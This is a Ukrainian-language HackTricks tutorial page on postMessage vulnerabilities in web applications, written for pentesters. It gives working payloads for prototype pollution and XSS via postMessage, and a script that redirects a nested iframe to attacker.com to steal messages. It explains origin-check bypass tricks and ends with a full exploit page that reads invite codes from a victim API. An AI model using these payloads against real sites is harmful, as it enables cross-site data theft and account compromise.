PostMessage Vulnerabilities

Вразливості PostMessage

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Відправити PostMessage

PostMessage використовує наступну функцію для відправлення повідомлення:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Зауважте, що targetOrigin може бути '*' або URL, наприклад https://company.com. У другому сценарії, повідомлення може бути відправлене лише на цей домен (навіть якщо початковий джерело об'єкта вікна відрізняється). Якщо використовується шаблон, повідомлення можуть бути відправлені на будь-який домен, і будуть відправлені на початкове джерело об'єкта Вікна.

Атака на iframe та шаблон в targetOrigin

Як пояснено в цьому звіті, якщо ви знаходите сторінку, яку можна вставити в iframe (без захисту X-Frame-Header) і яка надсилає чутливе повідомлення через postMessage, використовуючи шаблон (*), ви можете змінити походження iframe та витікати чутливе повідомлення на домен, яким ви керуєте. Зауважте, що якщо сторінку можна вставити в iframe, але targetOrigin встановлено на URL, а не на шаблон, цей трюк не працюватиме.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

Використання addEventListener

addEventListener - це функція, яку використовує JS для оголошення функції, яка очікує postMessages. Буде використаний код, подібний до наступного:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

У цьому випадку першим кроком коду є перевірка походження. Це надзвичайно важливо, особливо якщо сторінка збирається робити чутливі дії з отриманою інформацією (наприклад, змінювати пароль). Якщо не перевіряти походження, атакувальники можуть змусити жертв відправляти довільні дані на ці кінцеві точки та змінювати паролі жертв (у цьому прикладі).

Перелік

Для знаходження прослуховувачів подій на поточній сторінці можна:

  • Шукати код JS для window.addEventListener та $(window).on (версія JQuery)

  • Виконати у консолі інструментів розробника: getEventListeners(window)

  • Перейти до Elements --> Event Listeners у інструментах розробника браузера

Обхід перевірки походження

  • Атрибут event.isTrusted вважається безпечним, оскільки повертає True лише для подій, які генеруються реальними діями користувача. Хоча його важко обійти, якщо він реалізований правильно, його значення в перевірках безпеки помітне.

  • Використання indexOf() для перевірки походження в подіях PostMessage може бути вразливим на обхід. Приклад, що ілюструє цю вразливість:

("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • Метод search() з String.prototype.search() призначений для регулярних виразів, а не для рядків. Передача чого-небудь, крім регулярного виразу, призводить до неявного перетворення на регулярний вираз, що може зробити метод потенційно небезпечним. Це тому, що в регулярних виразах крапка (.) діє як символ підстановки, що дозволяє обійти перевірку з допомогою спеціально створених доменів. Наприклад:

"https://www.safedomain.com".search("www.s.fedomain.com")
  • Функція match(), подібно до search(), обробляє регулярні вирази. Якщо регулярний вираз побудований неправильно, він може бути вразливим на обхід.

  • Функція escapeHtml призначена для санітаризації введених даних шляхом екранування символів. Однак вона не створює новий екранований об'єкт, а перезаписує властивості існуючого об'єкта. Цю поведінку можна використовувати. Зокрема, якщо об'єкт можна маніпулювати так, що його контрольована властивість не визнає hasOwnProperty, escapeHtml не буде працювати як очікувалося. Це показано в прикладах нижче:

  • Очікувана помилка:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Обхід екранування:

result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

У контексті цієї вразливості об'єкт File особливо вразливий через свою тільки для читання властивість name. Ця властивість, коли використовується в шаблонах, не санітаризується функцією escapeHtml, що призводить до потенційних ризиків безпеки.

  • Властивість document.domain в JavaScript може бути встановлена сценарієм для скорочення домену, що дозволяє більш гнучке застосування політики однакового походження в межах одного батьківського домену.

Обхід e.origin == window.origin

При вбудовуванні веб-сторінки в ізольовану iframe за допомогою %%%%%%, важливо розуміти, що походження iframe буде встановлено на null. Це особливо важливо при роботі з атрибутами пісочниці та їх впливом на безпеку та функціональність.

Вказавши allow-popups у атрибуті пісочниці, будь-яке вікно спливаючого вікна, відкрите зсередини iframe, успадковує обмеження пісочниці батька. Це означає, що якщо не включено також атрибут allow-popups-to-escape-sandbox, походження спливаючого вікна також встановлюється на null, узгоджуючись з походженням iframe.

Отже, коли спливає вікно в таких умовах і з iframe відправляється повідомлення до спливаючого вікна за допомогою postMessage, як відправник, так і отримувач мають свої походження встановлені на null. Ця ситуація призводить до сценарію, де e.origin == window.origin оцінюється як true (null == null), оскільки як iframe, так і спливаюче вікно мають спільне значення походження null.

Для отримання додаткової інформації читайте:

pageBypassing SOP with Iframes - 1

Обхід e.source

Можливо перевірити, чи повідомлення надійшло з того ж вікна, в якому скрипт слухає (особливо цікаво для Content Scripts від розширень браузера для перевірки, чи повідомлення було відправлено з тієї ж сторінки):

// If it’s not, return immediately.
if( received_message.source !== window ) {
return;
}

Ви можете змусити e.source повідомлення бути нульовим, створивши iframe, який надсилає postMessage та негайно видаляється.

Для отримання додаткової інформації читайте:

pageBypassing SOP with Iframes - 2

Обхід заголовка X-Frame

Для виконання цих атак ідеально мати можливість помістити веб-сторінку жертви всередині iframe. Але деякі заголовки, такі як X-Frame-Header, можуть запобігти цьому поведінці. У таких сценаріях ви все ще можете використовувати менш приховану атаку. Ви можете відкрити нову вкладку на вразливому веб-застосунку та спілкуватися з ним:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Викрадення повідомлення, відправленого дитині, блокуючи головну сторінку

На наступній сторінці ви можете побачити, як ви можете викрасти чутливі дані postmessage, відправлені до дитячого iframe, блокуючи головну сторінку перед відправленням даних та зловживаючи XSS в дитині, щоб витікати дані до їх отримання:

pageBlocking main page to steal postmessage

Викрадення повідомлення шляхом зміни місцезнаходження iframe

Якщо ви можете вбудувати веб-сторінку без заголовка X-Frame, яка містить інший iframe, ви можете змінити місцезнаходження цього дитячого iframe, тому якщо він отримує postmessage, відправлене за допомогою шаблону, зловмисник може змінити походження цього iframe на сторінку, контрольовану ним і викрасти повідомлення:

pageSteal postmessage modifying iframe location

postMessage до забруднення прототипу та/або XSS

У сценаріях, де дані, відправлені через postMessage, виконуються JS, ви можете вбудувати сторінку та експлуатувати забруднення прототипу/XSS, відправляючи експлойт через postMessage.

Декілька дуже добре пояснених XSS через postMessage можна знайти за посиланням https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Приклад експлойту для зловживання забрудненням прототипу, а потім XSS через postMessage до iframe:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

Для додаткової інформації:

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated